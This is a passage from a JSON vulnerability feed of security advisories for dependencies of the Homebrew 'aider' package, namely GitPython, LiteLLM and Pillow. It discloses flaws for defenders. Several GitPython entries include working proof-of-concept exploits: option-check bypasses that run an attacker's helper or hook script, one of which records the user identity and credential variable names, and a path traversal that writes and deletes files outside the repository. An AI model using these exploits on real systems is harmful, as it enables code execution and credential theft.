routes.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-xqmj-j6mv-4862"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42203"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-42215","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:13Z","upstream":["GHSA-rpm5-65cw-6hj4","CVE-2026-42215","PYSEC-2026-2160"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.47","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython has Command Injection via Git options bypass","details":"### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\": ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper = os.path.join(base, \"wrapper.sh\")\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n  echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n  printf 'argv='; printf '<%s>' \"$@\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true\n}} > '{proof}'\nexec git-upload-pack \"$@\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\", \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\", \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n    [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\", \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\", \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo = Repo(victim)\nremote = repo.remote(\"origin\")\n\n# the literal Git option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\": wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n    print(\"control=blocked\")\n\n# this is the actual vulnerability\n# you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just to show greater impact\n# if you do the \"touch /tmp/proof\" the script will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n# Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\", os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists True ...`\n- The proof file contains evidence that the attacker-controlled helper executed as the local application account, including `id`, working directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes) gid=20(staff) <redacted>\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin  <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>\nargv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>\nUSER=<redacted>\nSSH_AUTH_SOCK=<redacted>\nPATH=<redacted>\nHOME=<redacted>\n```\n\nThis PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into `--upload-pack`.\n\n### Impact\nWho is impacted:\n- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior\n- Systems that accept a user-provided dict of \"extra Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack` or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process\n- Modification of repositories, build outputs, or release artifacts\n- Lateral movement from CI/CD workers or automation hosts\n- Full compromise of the worker or service process handling repository operations\n\nThe highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42215"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-42271","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:14Z","upstream":["GHSA-v4p8-mg3p-g94g","CVE-2026-42271","PYSEC-2026-2599"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.7","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Authenticated command execution via MCP stdio test endpoints","details":"### Impact\n\nTwo endpoints used to preview an MCP server before saving it — `POST /mcp-rest/test/connection` and `POST /mcp-rest/test/tools/list` — accepted a full server configuration in the request body, including the `command`, `args`, and `env` fields used by the stdio transport. When called with a stdio configuration, the endpoints attempted to connect, which spawned the supplied command as a subprocess on the proxy host with the privileges of the proxy process.\n\nThe endpoints were gated only by a valid proxy API key, with no role check. Any authenticated user — including holders of low-privilege internal-user keys — could therefore run arbitrary commands on the host.\n\n### Patches\n\nFixed in **`1.83.7`**. Both test endpoints now require the `PROXY_ADMIN` role, bringing them into line with the save endpoint.\n\n### Workarounds\n\nIf upgrading is not immediately possible, developers should block `POST /mcp-rest/test/connection` and `POST /mcp-rest/test/tools/list` at their reverse proxy or API gateway.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42271"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable"},{"type":"WEB","url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42271"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-42284","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:13Z","upstream":["GHSA-x2qx-6953-8485","CVE-2026-42284","PYSEC-2026-2161"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.47","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Unsafe option check validates multi_options before shlex.split transformation","details":"### Summary\n\n`_clone()` validates `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`. A string like `\"--branch main --config core.hooksPath=/x\"` passes validation (starts with `--branch`), but after split becomes `[\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes attacker hooks during clone.\n\n### Details\n\nThe vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes its own token and reaches git.\n\nAlso affects `Submodule.update()` via `clone_multi_options`.\n\n### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\", \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept UnsafeOptionError:\n    print(\"multi_options=['--config', '...']: Block as expected\")\nexcept Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\", \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\", \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami > {LOG.as_posix()}\\nhostname >> {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept UnsafeOptionError:\n    print(f\"multi_options=['{payload}']: BLOCKED\"); sys.exit(1)\nexcept Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n    subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST, capture_output=True)\n\nprint(f\"multi_options=['{payload}']: not blocked\")\nprint(f\"\\nHook executed: {LOG.exists()}\")\nif LOG.exists():\n    print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=['--config', '...']: Block as expected\nmulti_options=['--branch main --config core.hooksPath=.../hooks']: not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n### Impact\n\nAny application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42284"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"},{"type":"WEB","url":"https://www.tenable.com/cve/CVE-2026-32686"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-42308","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:35Z","upstream":["GHSA-wjx4-4jcj-g98j","BIT-pillow-2026-42308","CVE-2026-42308","PYSEC-2026-165"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.2.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow has an integer overflow when processing fonts","details":"If a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This has been fixed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-wjx4-4jcj-g98j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42308"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-165.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.2.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-42309","published":"2026-08-13T16:35:12Z","modified":"2026-10-21T09:14:41Z","upstream":["GHSA-5xmw-vc9v-4wf2","BIT-pillow-2026-42309","CVE-2026-42309","PYSEC-2026-2251"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.2.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow has a heap buffer overflow with nested list coordinates","details":"Passing nested lists as coordinates to APIs that accept coordinates such as `ImagePath.Path`, `ImageDraw.ImageDraw.polygon` and `ImageDraw.ImageDraw.line` could cause a heap buffer overflow, as nested lists were recursively unpacked beyond the allocated buffer. Coordinate lists are now validated to contain exactly two numeric coordinates. This was introduced in Pillow 11.2.1.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-5xmw-vc9v-4wf2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42309"},{"type":"WEB","url":"https://github.com/designcomputer/mysql_mcp_server/commit/a96549f4a4d65443fd6e9c7f2324fba9a5c80a82"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/cf6de8ca9b23e714aa5310e1c791eda66fc0b670"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2251.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.2.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-42310","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:32Z","upstream":["GHSA-r73j-pqj5-w3x7","BIT-pillow-2026-42310","CVE-2026-42310","PYSEC-2026-2874"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.2.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow has a PDF Parsing Trailer Infinite Loop (DoS)","details":"### Impact\nAn attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive.\n\n### Patches\nPatched version: 12.2.0.\n\nPdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a\ntrailer's Prev pointer references an offset that has already been processed — either pointing to itself or forming a\nlonger cycle — the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an\nerror if a cycle is detected.\n\n### Workarounds\nUse any version but the affected versions: >= 4.2.0, < 12.2.0\n\n### Resources\n - Fix: https://github.com/python-pillow/Pillow/pull/9519","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-r73j-pqj5-w3x7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42310"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9519"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/3bf614e4b8615d0ce1d5039efaf6db447fe7c468"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.2.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-42311","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:31Z","upstream":["GHSA-pwv6-vv43-88gr","BIT-pillow-2026-42311","CVE-2026-42311","PYSEC-2026-2252"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.2.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow has an OOB Write with Invalid PSD Tile Extents (Integer Overflow)","details":"### Impact\nProcessing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution.\n\n### Patches\nPatched version: 12.2.0\n\nPillow 12.1.1 addressed CVE-2026-25990 by adding checks for tile extents in PSD image decoding/encoding to prevent an out-of-bounds write. However, the bounds checks computed tile extent sums using types susceptible to integer overflow, meaning a PSD image with carefully chosen tile dimensions could produce values that wrap around and bypass the checks, still triggering an out-of-bounds write in src/decode.c and src/encode.c. The fix avoids adding extents together before comparison.\n\n### Workarounds\nUse any version but affected versions: >= 10.3.0, < 12.2.0\n\n### Resources\n - Fix: https://github.com/python-pillow/Pillow/pull/9520 \n - Original issue: CVE-2026-25990 (Pillow 12.1.1)","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-cfh3-3jmp-rvhc"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-pwv6-vv43-88gr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42311"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9520"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/58f9a1d166dcb0c274807d4423522d205b0c35ea"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.2.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-44243","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-7545-fcxq-7j24","CVE-2026-44243","PYSEC-2026-2162"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.48","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository","details":"## 🧾 Summary\n\nA vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**.\n\n---\n\n## 📦 Affected Versions\n\n* Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n## 🧠 Details\n\n### Vulnerability Type\n\n**Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n### Root Cause\n\nReference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.\n\n---\n\n### Affected Code\n\n```python\ndef set_reference(self, ref, logmsg=None):\n    ...\n    fpath = self.abspath\n    assure_directory_exists(fpath, is_file=True)\n\n    lfd = LockedFD(fpath)\n    fd = lfd.open(write=True, stream=True)\n    ...\n```\n\n```python\n@classmethod\ndef delete(cls, repo, path):\n    full_ref_path = cls.to_full_path(path)\n    abs_path = os.path.join(repo.common_dir, full_ref_path)\n    if os.path.exists(abs_path):\n        os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path, force=False):\n    new_path = self.to_full_path(new_path)\n    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)\n    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)\n    ...\n    os.rename(cur_abs_path, new_abs_path)\n```\n\n---\n\n### Attack Vector\n\n**Local attack through application-controlled input passed into GitPython reference APIs**\n\n### Authentication Required\n\n**None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.**\n\n---\n\n## 🧪 Proof of Concept\n\n### Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n### Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n    shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir       = {repo_dir}\")\nprint(f\"outside_write  = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo, \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write exists:\", outside_write.exists())\nif outside_write.exists():\n    print(\"[+] outside_write content:\")\n    print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo, \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists after delete:\", outside_delete.exists())\n```\n\n---\n\n### Result\n\n```text\nrepo_dir       = ...\\gp-ghsa-poc\\repo\noutside_write  = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+] outside_write 